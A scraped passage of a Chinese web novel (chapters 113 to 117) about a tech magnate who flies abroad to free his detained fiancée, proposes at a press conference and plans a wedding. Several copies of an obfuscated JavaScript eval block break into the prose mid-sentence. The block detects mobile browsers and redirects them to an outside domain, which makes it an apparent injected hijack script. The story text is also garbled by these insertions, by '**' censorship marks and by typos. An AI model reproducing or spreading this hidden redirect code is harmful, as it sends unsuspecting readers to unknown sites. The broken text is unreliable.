秦雅看着屏幕上弹出的新闻，端着咖啡的手，停在了半空中。 她的脸上，露出一抹复杂的，近乎嘲讽的冷笑。 “一群蠢货。” 她喃喃自语。 “他们根本不知道，自己刚刚做了什么。” “他们不是抓了一个女人。” “他们是把一头沉睡的史前巨兽，彻底惹怒了。” 她放下咖啡，拨通内线。 “立刻召开高层会议。评估所有与J国相关的项目风险。必要时，可以全部暂停。” “另外，以我的名义，向墨氏集团发一份慰问函。” “告诉他们，秦氏，愿意提供一切必要的帮助。” “冬天，要抱团。” 渊龙科技研究院，人工智能实验室。 苏阳和陆若溪也看到了新闻。 “怎么会这样！”苏阳失声喊道，脸上血色尽褪。 他第一时间想到的，是给陆沉渊打电话。 但是，电话那头，传来的只有冰冷的系统提示音。 “您拨打的用户，暂时无法接通。” 陆若溪站在他身边，脸色同样苍白。 但她的眼睛，却异常的冷静。 她拿出手机，迅速发出几条指令。 “苏阳，启动‘开天’的**监控模块。” “我要知道，这条新闻背后，所有的推手是谁。资金流向，信息源头，一个都不能放过。” “清漓姐，不会有事的。”她看着苏阳，也像在对自己说，“因为，我哥在。” 在他们心中，陆沉渊，就是定海神针。 …… 夕阳，将西山染成一片壮丽的血色。 下山的路上，陆沉渊坐在红旗轿车的后座，闭目养神。 长达数日的会议，耗尽了所有人的心力。 但他，却制定了一幅足以改变国运的蓝图。 他本该感到一丝欣慰。 但那股盘踞在心头的不安，却在会议结束的瞬间，达到了顶峰。 他拿出被封存了几天的手机，开机。 屏幕亮起，一条置顶的加密信息，首先跳了出来。 发信人：清漓。 陆沉渊的心跳，漏了一拍。 他点开信息。 那一行行熟悉的字迹，像一把把滚烫的尖刀，刺入他的心脏。 “……请允许我为你，为我们共同守护的一切，无私一次。” “……就算真的发生了什么意外，你也一定会来找我，把我带回家。” 一瞬间，他周身的血液，仿佛都凝固了。 还不等他从这巨大的冲击中回过神。 张奇的加密电话，和无数新闻推送的警报声，同时涌了进来。 陆沉渊接通了电话。 “陆总……”张奇的声音，前所未有的凝重。 “说。” 只有一个字，冰冷，沙哑。 “三小时前，J国官方发布消息，以涉嫌商业窃密为由，正式拘捕了墨总。” “不过，墨总现在被限制在哥都皇家大酒店里。目前，无法与外界取得任何联系。” “墨氏股价，已跌停。” 陆沉渊挂断了电话。 他没有再看那些疯狂弹出的新闻。 他只是抬起头，看向窗外。 血色的夕阳，映在他的瞳孔里。 那双一向深邃如海的眸子，此刻，却是一片死寂的、燃烧的虚空。 司机从后视镜里，看到了他的眼神，吓得浑身一哆嗦，下意识地踩下了刹车。 车子在盘山公路上，猛地停住。 陆沉渊推开车门，走了下去。 他站在悬崖边，俯瞰着山下灯火璀璨的京州城。 山风猎猎，吹动着他的衣角。 他的脸上，没有任何表情。 那是一种超越了愤怒的，绝对的冷静。 仿佛宇宙归于热寂前的，永恒的零度。 他再次拿出手机，拨通了那位刚刚在会上，对他赞赏有加的领导人的私人秘书。 “领导。” 他的声音，恢复了平静。 但那平静之下，是足以撼动山河的雷霆。 “我需要请一个长假。” “家里出了点事，需要我去处理。” 电话那头沉默了片刻，传来一个苍老而有力的声音。 “知道了。” “放手去做。” “家里，有我们。” “谢谢领导。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348558|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>陆沉渊挂断电话。 他转身，重新坐回车里。 “去渊龙科技。” “是，陆总。”司机不敢多问，立刻重新发动汽车。 陆沉渊没有再看窗外。 他拨通了张奇的号码。 这一次，他的声音没有一丝温度。 “张奇。” “在。” “启动‘不周山’协议。” 张奇在那头，心脏猛地一缩。 “不周山”协议，是渊龙科技最高级别的危机预案。 它意味着，渊龙科技将动用所有地下的、秘密的、不计代价的资源，对一个目标，发起全面战争。 这个目标，可以是一个人，一个组织。 甚至……一个国家。 “明白。”张奇的声音，有些干涩。 “第一。”陆沉渊继续下令，语速不快，却字字如铁。 “以我的名义，向全球所有顶级律师事务所，下达最高委托。目标，J国司法系统。” “我要他们的法律，在接下来的每一个小时，都变成一团理不清的乱麻。” “第二，调动‘开天’计划50%的算力。我要J国金融市场，所有异常的资金流动，所有针对墨氏的做空势力，在24小时内，被全部揪出来，暴露在阳光下。” “第三，通知我们在J国的所有‘朋友’。告诉他们，我需要他们帮我一个忙。” “我要知道，皮耶罗，以及他背后所有人的全部信息。他的家人，他的喜好，他每天走哪条路，喝几杯咖啡。” “我要他从一个国家公务员，变成一个透明的、生活在无尽恐惧里的普通人。” “第四，给我准备一架飞机。” “航线，直飞哥都。” 张奇倒吸一口凉气，“陆总，您不能去！那也是陷阱！” “我知道。” 陆沉渊的嘴角，勾起一抹冰冷到极点的弧度。 “清漓，是他们手里的筹码。” “而我，要去掀了他们的赌桌。” 他挂断电话，靠在椅背上，闭上了眼睛。 那场宏大的，关乎国运的棋局，他已经布好。 现在，他要亲自下场，去下一盘，只属于他一个人的，更小的棋。 但这盘棋的赌注，比国运，更重。 是他的命。 也是他的，整个世界。 第113章 风暴眼中的告别 渊龙科技，顶层办公室。 气氛，比西山的会议室还要凝重。 林远和任茜站在陆沉渊的办公桌前，脸上是同样的震惊和反对。 “老陆，你疯了？”任茜的声音，第一次带上了无法压抑的激动，“这和**有什么区别？” 她跟了陆沉渊这么多年，从大学到创业，从未见过他做出如此冲动，或者说，如此不计后果的决定。 “对方就是想让你过去！”林远强迫自己冷静，一条条分析， “他们抓了墨总，就是在逼你就范。你一旦落地，就成了第二个筹码。到时候，我们就彻底被动了。” 他们是陆沉渊最信任的左膀右臂。 他们理解“不周山”协议的雷霆万钧。 但他们无法理解，陆沉渊为何要亲自踏入风暴的中心。 陆沉渊抬起头。 他的眼神，已经恢复了那片深不见底的平静。 “你们说的，都对。” 他开口，声音平稳得可怕。 “但你们忽略了一点。” “这场牌局，从他们对清漓下手的那一刻起，就不存在规则了。” “他们以为，抓住了我的软肋。他们以为，我会投鼠忌器，会在谈判桌上被他们予取予求。” “这种想法，很天真，也很危险。” 陆沉渊站起身，走到巨大的落地窗前，俯瞰着这座他亲手建立起来的科技王国。 “他们低估了清漓在我心中的分量。” “也低估了，我的决心。” “我不去，这场针对我们的阴谋就不会停止。他们会用清漓，用我们其他的盟友，不断地消耗我们，放我们的血。” “我去，就是要告诉他们，游戏结束了。” “我，就是规则。” 林远和任茜，都沉默了。 他们从陆沉渊的话里，听到了一种不容置疑的意志。 那不是冲动。 那是一种经过了极致计算后的，最直接、最有效，也最疯狂的战略。 以身为棋，亲自入局。 将自己变成最大的那个变量，彻底打乱对手的所有部署。 “老陆……”林远的声音有些干涩，“我，跟你一起去。” 陆沉渊转过身，摇了摇头。 “不。你们有更重要的事。” “我要你们，看好这个家。” “我要让所有人知道，就算我不在，渊龙、汗青、连山，依然是他们无法撼动的山。” “这是命令。” 最后四个字，终结了所有的争论。 …… 夜色，笼罩了京州。 陆沉渊没有回云顶壹号。 他驱车，来到了母亲楼梦玲的住处。 一栋安静的，位于市郊的小院。 推开门，温暖的灯光和饭菜的香气，瞬间驱散了深夜的寒意。 客厅里，人很齐。 母亲楼梦玲，妹妹陆若溪，还有三个闻讯赶来的弟弟。 没有人声喧哗。 所有人都只是安静地坐在那里，等着他。 桌上，摆满了陆沉渊从小就喜欢吃的菜。 “回来了。” 楼梦玲迎上来，接过他的外套，眼神里是化不开的担忧。 但她什么都没问。 也没有像寻常母亲那样，哭着劝儿子不要去冒险。 她只是拉着他，在餐桌旁坐下。 “快吃饭吧，都凉了。” 她不停地给陆沉渊夹菜，仿佛想用这种方式，把他牢牢地留在这里。 “哥。” 陆若溪开口，打破了沉默。 她看着陆沉渊，眼神清澈而坚定。 “‘开天’已经准备就绪。” “我在J国的所有学术界朋友，也都收到了我的邮件。” “他们会动用一切关系，为我们提供情报支持。” “哥，”她顿了顿，一字一句地说道， “我们等你和清漓姐，一起回家。” 三个弟弟一起举杯，说道：“我们等你和清漓姐，一起回家。” 陆沉渊看着眼前的家人。 看着母亲强忍泪水的微笑，看着弟妹们一夜之间仿佛又成熟了许多的脸庞。 他没有说话。 他端起碗，大口地吃着饭。 吃得很快，很香。 仿佛这是世界上最美味的佳肴。 一顿饭，在安静但温暖的气氛中结束。 临走前，陆沉渊拥抱了一下母亲。 “妈，我很快。” “我一定把她，完完整整地带回来。” 楼梦玲终于没忍住，眼泪掉了下来。 她用力地点着头，拍着儿子的背。 “好，好。妈妈在家，等你们。” …… 离开母亲家，陆沉渊的车，开向了墨家大宅。 墨家的灯，同样亮着。 书房里，只有两个人。 陆沉渊，和墨氏集团的掌舵人，墨清漓的父亲，墨振邦。 没有茶，只有一杯清水。 墨振邦看着眼前这个年轻人。 他那双在商海中阅人无数的眼睛，此刻，充满了复杂的情绪。 有欣赏，有担忧，也有一丝作为父亲的无奈。 “我的人，已经过去了。”墨振邦率先开口，声音低沉， “J国那边，墨家还有一些几十年的老关系。虽然不一定能帮上大忙，但至少，能保证清漓在里面，不会受委屈。” “谢谢伯父。”陆沉渊微微颔首。 “你应该劝住她的。”墨振邦的语气里，有了一丝责备。 “是我做的不够。”陆沉渊没有辩解，顿了顿，然后说道， “但您了解她。那是她的责任，她不会退。” 墨振邦长长地叹了口气。 是啊，他怎么会不了解自己的女儿。 那份刻在骨子里的骄傲和坚韧，像极了年轻时的自己。 “需要墨家做什么？”墨振邦不再绕圈子，直视着陆沉渊。 “稳住。”陆沉渊只说了两个字。 “稳住墨氏的股价，稳住人心。” “告诉所有人，墨氏，不会倒。” “其它的，交给我。” 墨振邦看着他，看了很久。 这个年轻人，比他想象的，还要沉稳，还要可怕。 他面对的，不是一次商业危机，而是一场不见硝烟的战争。 可他的脸上，看不到一丝一毫的慌乱。 “好。”墨振邦点了点头，“我信你。” 就在这时，书房的门被敲响。 墨清漓的母亲，林书函端着一碗汤走了进来。 她的眼眶是红的，显然是哭过。 “沉渊，喝点汤吧。”她把汤碗放到陆沉渊面前，“这孩子……这孩子从小就倔……” 她说着，声音就哽咽了。 “伯母。”陆沉渊站起身，看着她，认真地承诺。 “请您放心。” “无论她在哪里，我都会找到她。” “无论谁带走了她，我都会让他，付出代价。” “然后，我带她回家。” 林书函看着他坚定的眼神，擦了擦眼泪，用力点头。 她知道，女儿，没有选错人。 …… 天亮前，陆沉渊约了一个意想不到的人。 京州，一家不对外开放的茶馆。 秦雅，独自一人，坐在那里。 她面前的茶，已经凉了。 看到陆沉渊走进来，她没有起身，只是抬了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348559|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬眼皮。 “你还真敢去。”她的语气，听不出是嘲讽，还是佩服。 “不得不去。”陆沉渊在她对面坐下。 “秦氏，已经暂停了所有和J国的合作。”秦雅淡淡地说道， “墨氏那边，我也发了函。秦家，会动用所有在J国的政界关系，帮你施压。” 陆沉渊略有深意地地看了她一眼。 “唇亡齿寒罢了。”秦雅端起凉了的茶，喝了一口，“而且，我讨厌别人用这种下三滥的手段。” “最重要的是，”她放下茶杯，嘴角勾起一抹自嘲的笑，“我不想趁人之危。我要赢，也要赢得堂堂正正。” 陆沉渊看着她。 这个女人，虽然任性，但骨子里，有着属于顶级豪门继承人的骄傲。 “谢了。”他真心实意地说。 就在这时，茶馆的门，又被推开了。 皇甫城逝背着他的双肩包，风尘仆仆地跑了进来。 “陆……陆总！”他看到陆沉渊，眼睛都在发光，显然颇为激动。 “雅姐姐说您要来，我……我就跟过来了。” 他看着陆沉渊，眼神里，是毫不掩饰的崇拜。 “‘锋芒一号’，做得不错。”陆沉渊看着他，忽然笑了笑。 皇甫城逝瞬间脸红了，像个得了奖状的孩子。 “它……它还差得远。” “不。”陆沉渊摇了摇头，认真地说道， “它的底层逻辑很特别。如果算力能跟上，未来，或许有追上‘开天’的潜质。” 来自当代科技教父的肯定，让皇甫城有些逝激动。 他能听出，这不是客套的恭维，而是真正的认可。 “我……我一定会努力的！” “好。”陆沉渊站起身，“我该走了。” 他没有再多说什么。 只是在离开前，对秦雅说了一句。 “这个年轻人，很好。别耽误了。” 秦雅愣了一下，随即恢复了平静，似乎不知道对方意有所指。 然后陆沉渊就告辞离开。 只是，秦雅和陆沉渊都没发现，在陆沉渊转身离去时，身后的皇甫城逝的眼中，除了崇拜，还有难以察觉的野心燃起。 …… 京州国际机场，VIP停机坪。 一架湾流G700，静静地等待着它的主人。 林远、任茜、陆若溪……所有核心团队的人，都来送行。 母亲和弟弟们，没有来。 这是陆沉渊的要求。 他不喜欢拖泥带水的告别。 就在他准备登机时，一辆黑色的红旗轿车，缓缓驶来，停在了不远处。 车门打开，一个头发花白但精神矍铄的老人，拄着拐杖，走了下来。 是陆承嗣。 陆沉渊的爷爷。 看到他，所有人都愣住了。 这位早已不过问世事，半隐居的老人，竟然会亲自来机场。 陆承嗣没有看任何人。 他径直走到陆沉渊面前。 祖孙二人，相对而立。 这位老人，曾亲手把陆沉渊扶上高位，也曾因为对儿子们的溺爱，给陆沉渊制造了无数麻烦。 他们的关系，很复杂。 “爷爷。”陆沉渊开口，声音平静。 陆承嗣看着自己的长孙。 也没有说什么保重。 陆承嗣只是伸出那只布满皱纹的手，用力地，拍了拍陆沉渊的肩膀。 “去吧。” 陆沉渊点了点头。 “好。” 他没有再多言，转身走向飞机的舷梯。 他没有回头。 晨光，刺破云层，洒在他的身上，拉出一道长长的，孤独而决绝的影子。 第114章 我带你回家 哥都国际机场，一架湾流G700平稳降落。 舱门打开，陆沉渊的身影，出现在舷梯顶端。 他只身一人，没有带任何随从。 只提着一个简单的行李箱。 就像一个，普通的旅客。 但他的出现，瞬间点燃了整个机场。 无数的闪光灯，疯狂亮起。 快门声，像密集的骤雨。 停机坪外，数百名记者，被安保人员拦在警戒线后，情绪激动。 **短炮，全部对准了这个从飞机上走下的男人。 “陆沉渊先生！” “请问您此行是为了墨清漓女士吗？” “渊龙科技是否会因此对J国进行报复？” “A国方面称您是技术窃贼，您对此有何回应？” 各种语言的提问，混杂在一起，嘈杂而混乱。 陆沉渊置若罔闻。 他的目光，平静地扫过人群。 最后，落在了停机坪中央，前来迎接的一小队人身上。 为首的，是夏国驻J国大使，李文博。 以及几名神色紧张的，J国官员。 “沉渊同志，欢迎来到哥都。”李文博大使快步上前，与他用力握手，眼神里充满了赞赏，以及隐隐的担忧。 “辛苦了，李大使。”陆沉渊微微点头。 他转向那位J国官员。 对方立刻上前，神情有些别扭，但是还是迅速地伸出手来和陆沉渊握手。 “陆先生。我是斯科伊，非常欢迎您的到来。”他的态度，恭敬得近乎谦卑。 完全不像是在接待一个“潜在威胁”。 “我要见墨清漓。” 陆沉渊开门见山，没有任何客套。 斯科伊的额头，渗出了一层细汗。 “陆先生，非常抱歉。根据我国法律，墨女士目前正在协助调查，暂时不能……” “现在。” 陆沉渊打断了他。 声音不大，却带着不容置疑的压力。 斯科伊的脸色，瞬间变得苍白。 他知道，眼前这个男人的分量。 他的到来，本身就是一种最强硬的施压。 扣留墨清漓，是想拿捏渊龙科技。 但陆沉渊亲自前来，就是把渊龙科技的全部重量，压在了J国身上。 这个赌注，他们玩不起。 “我……我需要请示一下。”斯科伊的声音，已经有些发抖。 “我给你五分钟。” 陆沉渊说完，便不再看他，径直走向使馆准备的专车。 李文博大使深深地看了斯科伊一眼，跟了上去。 留下一群J国官员，在原地手足无措，疯狂地打着电话。 全球的目光，都聚焦在这片小小的停机坪上。 所有人都明白，这不是商业**。 这是一场，大国博弈的缩影。 而陆沉渊，就是那枚最关键的棋子。 他把自己放在了棋盘上。 棋局的走向，便不再由棋手决定。 …… 哥都皇家大酒店，顶层总统套房。 这里，就是J国为墨清漓精心准备的“笼子”。 奢华，却冰冷。 墨清漓坐在沙发上，看着窗外的城市天际线。 她的脚踝上，一个银灰色的电子镣铐，闪烁着微弱的红光。 刺眼，而**。 突然，门外传来一阵轻微的骚动。 随即，门锁被刷开。 墨清漓的心跳，漏了一拍。 她缓缓回头，门口，站着那个她日思夜想的身影。 陆沉渊。 他风尘仆仆，眼底带着一丝血丝。 却依旧挺拔如松。 两人四目相对。 时间，仿佛在这一刻静止。 陆沉渊的目光，从她略显憔悴的脸上，缓缓下移。 最后，定格在了那个冰冷的电子镣铐上。 一瞬间，他那双古井无波的眸子，掀起了滔天巨浪。 所有的冷静，所有的克制，所有的谋划。 在看到那东西的刹那，轰然崩塌。 那是一种比愤怒更可怕的情绪。 是足以焚烧一切的，刺骨的心疼。 他大步走过来。 没有说话。 只是蹲下身，伸出微微颤抖的手，想要触碰那个镣铐，却又仿佛怕烫伤一般，停在了半空中。 他抬起头，看着墨清漓。 眼眶，红得吓人。 那双曾让无数对手胆寒的眼睛里，此刻，只有她的倒影，和无法掩饰的脆弱。 墨清漓的心，像被一只手紧紧攥住。 酸涩，又温暖。 她伸出手，抚上他的脸颊。 “阿渊。” 她的声音，带着一丝梦呓般的恍惚。 “我说过，就算真的发生了什么意外，你也一定会来找我，把我带回家。” “对不对？” 陆沉渊闭上眼，将她的手紧紧贴在自己脸上。 再睁开时，那片汹涌的波涛，已被他强行压下。 取而代之的，是化为实质的，深沉的温柔。 “嗯。” 他的声音，沙哑得厉害。 他站起身，没有再看那个镣铐一眼。 只是将她，紧紧地，紧紧地拥入怀中。 仿佛要将她揉进自己的骨血里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16348560|183545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我来了。” “我带你回家。” 不需要更多的言语。 千山万水，**奔赴。 只为这一个拥抱。 墨清漓靠在他的胸口，听着他熟悉而有力的心跳声。 所有的不安和孤单，都在这一刻，烟消云散。 …… 陆沉渊的到来，像一颗重磅**，在J国高层引爆。 当天下午，斯科伊再次出现在酒店套房。 这一次，他的态度更加谦卑。 “陆先生，墨女士。”他深深鞠躬。 “经过我们内部的紧急商议，我们认为，对墨女士的限制措施，的确有不妥之处。” “从现在开始，除了不能离开酒店区域，以及……以及这个必要的安全设备之外。”他小心翼翼地看了一眼那个电子镣铐。 “墨女士可以自由会客，与外界联络，处理公司事务。” “酒店的所有设施，也对两位全面开放。” 这是一个巨大的让步。 意味着，软禁，变成了某种意义上的“保护性居住”。 陆沉渊面无表情地听着。 “什么时候，可以拿掉它？”他指了指墨清漓脚踝上的东西。 “这个……这个需要走完司法程序……”斯科伊擦着汗，“我们正在加急处理，请您相信我们的诚意。” 陆沉渊没有再逼他。 他知道，这需要一个过程。 一个让J国，能找到台阶下的过程。 “出去。”他淡淡地说道。 “是，是。”斯科伊如蒙大赦，躬身退了出去。 套房里，又恢复了安静。 陆沉渊检查了一下房间。 厨房设备很齐全，冰箱里也塞满了新鲜的食材。 他脱下外套，卷起衬衫袖子，熟练地开始处理食材。 墨清漓就靠在厨房门口，静静地看着他。 看着他专注的侧脸，看着他修长的手指在砧板上，将食材切成均匀的薄片。 夕阳的余晖，透过窗户，洒在他的身上，镀上了一层温暖的金光。 仿佛他们不是在风暴的中心。 而是在云顶壹号，那个属于他们的家里。 “不和我说说外面的情况吗？”墨清漓轻声问。 “不用。”陆沉渊头也不抬，“股价会涨回来，人心会稳住。我们的律师团，会让他们知道，什么叫程序正义。” “至于那些躲在背后的人……” 他手里的刀，轻轻一顿。 “会付出代价的。” 墨清漓笑了。 这就是他。 永远谋定后动，永远让她心安。 第115章 求婚 陆沉渊做饭的速度很快，就算是换了一个地方，也不影响他的发挥。 很快，四菜一汤，摆上了餐桌。 都是墨清漓喜欢吃的，清淡口味。 陆沉渊盛好饭，放到她面前。 “吃饭。” 两人安静地吃着饭，就像过去无数个日夜一样。 他为她夹菜，她替他盛汤。 窗外，是哥都璀璨的夜景。 屋内，是世间最安稳的，人间烟火。 吃完饭，陆沉渊收拾好碗筷。 然后，他找来酒店里的小型医疗箱。 蹲下身，小心翼翼地检查着墨清漓的脚踝。 电子镣铐的边缘，有些粗糙。 几天的佩戴，已经磨出了一圈淡淡的红痕。 陆沉渊的眼神，又沉了下去。 他拿出药膏，用指腹沾了一点，轻轻地，涂抹在那圈红痕上。 他的动作，轻柔得像是在对待一件稀世珍宝。 墨清漓垂下眼，看着他专注的样子。 看着这个在外面，能搅动世界风云的男人，此刻，正像个孩子一样，固执而心疼地，为她处理着小小的伤口。 她的心，软得一塌糊涂。 “阿渊。” “嗯？” “疼。”她忽然说道。 陆沉渊的动作一僵，抬起头，紧张地看着她。 “弄疼你了？” 墨清漓摇了摇头，指了指自己的心口。 “是这里。” “看到你为我这样，这里疼。” 陆沉渊愣住了。 随即，他放下药膏，握住她的手，放在唇边，轻轻一吻。 “那就不看。” “闭上眼睛，好好睡觉。” “明天醒来，一切都会不一样。” …… 第二天。 一则消息，震惊了全球媒体。 墨清漓，将在哥都皇家大酒店，召开记者发布会。 陆沉渊，将一同出席。 消息一出，J国官方，彻底陷入了被动。 他们拦不住，也不敢拦。 酒店的新闻发布厅，瞬间被来自世界各地的记者挤满。 下午三点。 墨清漓身着一套干练的白色西装，与陆沉渊并肩，出现在发布台上。 她妆容精致，神采奕奕，脸上带着从容的微笑，看不出丝毫被囚禁的颓唐。 只有当她落座时，裤脚下偶尔露出的那一抹银灰色，提醒着所有人，她依然没有获得完全的自由。 但这，反而更衬托出她的强大。 “各位媒体朋友，下午好。” 她一开口，就掌控了全场。 “首先，感谢大家的关心。如各位所见，我很好。” “关于J国对我的指控，我的律师团队，正在与他们进行积极沟通。我相信，J国的司法系统，会给我一个公正的结论。” 她的发言，滴水不漏。 既表明了立场，又给对方留足了面子。 “墨氏集团，是一家全球化的企业。我们与J国商界的合作，有着悠久的历史。我们不希望，个别的误会，影响到双方长期的友好关系。” “墨氏的运营，一切正常。我们的发展战略，不会有任何改变。” 她的话，像一颗定心丸。 WF街的交易员们，在屏幕前长舒了一口气。 墨氏的股价，应声上涨。 问答环节开始了。 一个A国记者，抢到了提问机会，问题尖锐。 “墨女士，有证据表明，您的公司窃取了A国盟友的核心技术，您对此怎么解释？您身边的陆沉渊先生，同样面临类似的指控，这难道只是巧合吗？” 一瞬间，所有镜头都对准了墨清漓。 这是一个陷阱。 无论怎么回答，都可能被大做文章。 墨清漓笑了笑，从容不迫。 “这位记者朋友，你的问题，更像是指控，而不是提问。” “我们尊重事实，也相信证据。在**做出裁决前，任何人都享有无罪推定的权利。这是文明社会的基本准则。” “至于巧合……” 她转过头，看了一眼身旁的陆沉渊。 眼神里，是毫不掩饰的信赖与柔情。 “如果和优秀的人站在一起，也算一种巧合的话。” “那我希望，这样的巧合，能多一些。” 漂亮的反击，既化解了问题，又不动声色地秀了一把恩爱。 现场，响起一片善意的笑声和掌声。 记者会，进行得很顺利。 墨清漓以一己之力，扭转了**的颓势。 就在主持人准备宣布发布会结束时。 一直沉默的陆沉渊，忽然拿起了面前的话筒。 全场，瞬间安静下来。 所有人都屏住了呼吸。 这位科技界的帝王，要说什么？ 是要向A国宣战，还是向J国下达最后通牒？ 陆沉渊的目光，没有看台下的任何一个记者。 他只是转过身，深深地，凝视着身边的墨清漓。 那双深邃的眸子里，有他从未在公开场合表露过的情感。 是爱意，是亏欠，也是一生一世的，郑重承诺。 他站起身，在全世界的注视下，单膝，跪地。 现场，一片倒吸凉气的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一幕，在五分钟内，传遍了全球的每一个角落。 标题，只有一个： 《世纪求婚：陆沉渊阵前求婚墨清漓》 他们用一场举世瞩目的求婚，向全世界宣告。 风暴，压不垮我们。 只会让我们，更紧密地站在一起。 第116章 奔赴而来的家人 雷鸣般的掌声，和疯狂的快门声，几乎要掀翻新闻发布厅的屋顶。 陆沉渊将墨清漓紧紧拥在怀里，用自己的身体，为她隔绝了整个世界的喧嚣。 他的下巴，轻轻抵在她的发顶。 能感受到的，只有她微微的颤抖，和温热的泪水。 夏国使馆的安保人员迅速上前，筑起一道人墙，护送着两人离开。 记者们疯了一样地往前挤，无数的问题被声嘶力竭地喊出来。 “陆先生，这是不是一场**作秀？” “墨女士，你们的婚期定在什么时候？” “这场婚礼，会选择在J国举行吗？” 但没有人能得到答案。 陆沉渊和墨清漓的身影，很快消失在专用通道的尽头。 留给世界的，只有一个惊天动地的头条，和无数的猜测。 …… 回到酒店顶层的总统套房。 门关上的瞬间，仿佛隔绝了两个世界。 外面是狂风骤雨，里面是劫后余生的宁静。 墨清漓靠在陆沉渊的怀里，情绪才慢慢平复下来。 她抬起头，看着他。 “你都计划好了？” “没有。”陆沉渊摇头，抚着她的脸颊，为她拭去泪痕，“看到那个镣铐的时候，我只有一个念头。” “我不能再等了。” “一分一秒，都不能。” 他的眼神，前所未有的认真。 “所以，我们结婚。” “现在，立刻，马上。” 墨清漓的心，又被重重地撞了一下。 她知道，这不是冲动。 这是他最深沉的决心。 她点了点头，笑了。 泪水，又一次滑落。 “好。” 这一次，她没有再说“我准了”。 只有一个字。 一个妻子的，回答。 陆沉渊立刻开始打电话。 第一个，打给林远和任茜。 电话一接通，就传来两人激动到语无伦次的声音。 “老陆！你太牛了！” “老陆！我们都看到了！干得漂亮！” “听我说。”陆沉渊打断了他们的兴奋，声音沉稳而果断。 “我要和清漓在哥都结婚。” “婚礼很简单，就在使馆举行。” “你们要做的，是稳住公司。告诉所有人，渊龙科技的节奏，不会有任何变化。” “还有，这是命令。” 陆沉渊加重了语气。 “你们所有人，核心团队的每一个人，都不许来J国。” “一个都不许。” 电话那头的林远和任茜，瞬间明白了。 这是保护。 他们是渊龙科技的基石，不能有任何风险。 “……好。”林远的声音，有些干涩，“我们，等你和嫂子回家。” 一声“嫂子”，让旁边的墨清漓，脸颊微微发烫。 第二个电话，打给墨振邦。 “伯父。” “我看到了。”墨振邦的声音，带着一丝不易察的感慨。 这个年轻人，永远能做出最超乎想象，却又最有效的应对。 “我要娶清漓。”陆沉渊直接说道，“就在哥都，就在这几天。” 墨振邦沉默了片刻。 他何尝不明白，这场婚礼，不仅仅是两个年轻人的结合。 更是一场，宣告。 向全世界宣告，陆家和墨家，将彻底捆绑在一起，不分彼此，共同面对这场风暴。 “好。”墨振邦只说了一个字。 “我相信你。” “也相信清漓的眼光。” “家里这边，放心。” 第三个电话，打给母亲楼梦玲。 这一次，他的声音，放柔了许多。 “妈。” “妈看到了，都看到了……”电话那头，传来楼梦玲压抑的哭声，“好孩子，好孩子……” “妈，我要和清漓结婚了。” “我知道，我知道……你们受苦了……” “婚礼就在哥都，您和弟弟妹妹们，不要过来，这里不安全。” “不行！”楼梦玲立刻打断他，语气是前所未有的坚决。 “我必须去！” “我儿子的婚礼，我怎么能不在！” “还有亲家母，我也要联系她。我们一起去。” “我们要亲眼看着你们，成家。” 陆沉渊沉默了。 他无法拒绝一个母亲，如此朴素又如此坚定的愿望。 “……好。” 他看向墨清漓。 墨清漓对他点了点头，眼眶也是红的。 …… 东欧，某边境地区。 尘土飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第117章 婚礼 两天后，哥都皇家大酒店。 当陆芊芊和姬无双风尘仆仆地出现在套房门口时，墨清漓和刚刚抵达的楼梦玲、林书函，都愣住了。 “芊芊？” 墨清漓几乎不敢相信自己的眼睛。 陆芊芊看着墨清漓。 看着她身上那件素雅的居家服，和脚上那个比新闻里看到的，更刺眼的镣铐。 她那张在面对战火和苦难时，都能保持微笑的脸瞬间就垮了。 眼泪，像断了线的珠子，滚滚而下。 她冲过去，一把抱住墨清漓，嚎啕大哭，像个受了天大委屈的孩子。 “清漓姐……他们怎么能这么对你……呜呜呜……” “他们怎么敢！” 所有的坚强，所有的伪装，在见到亲人的这一刻彻底崩塌。 墨清漓抱着她，轻轻拍着她的背，眼眶也湿了。 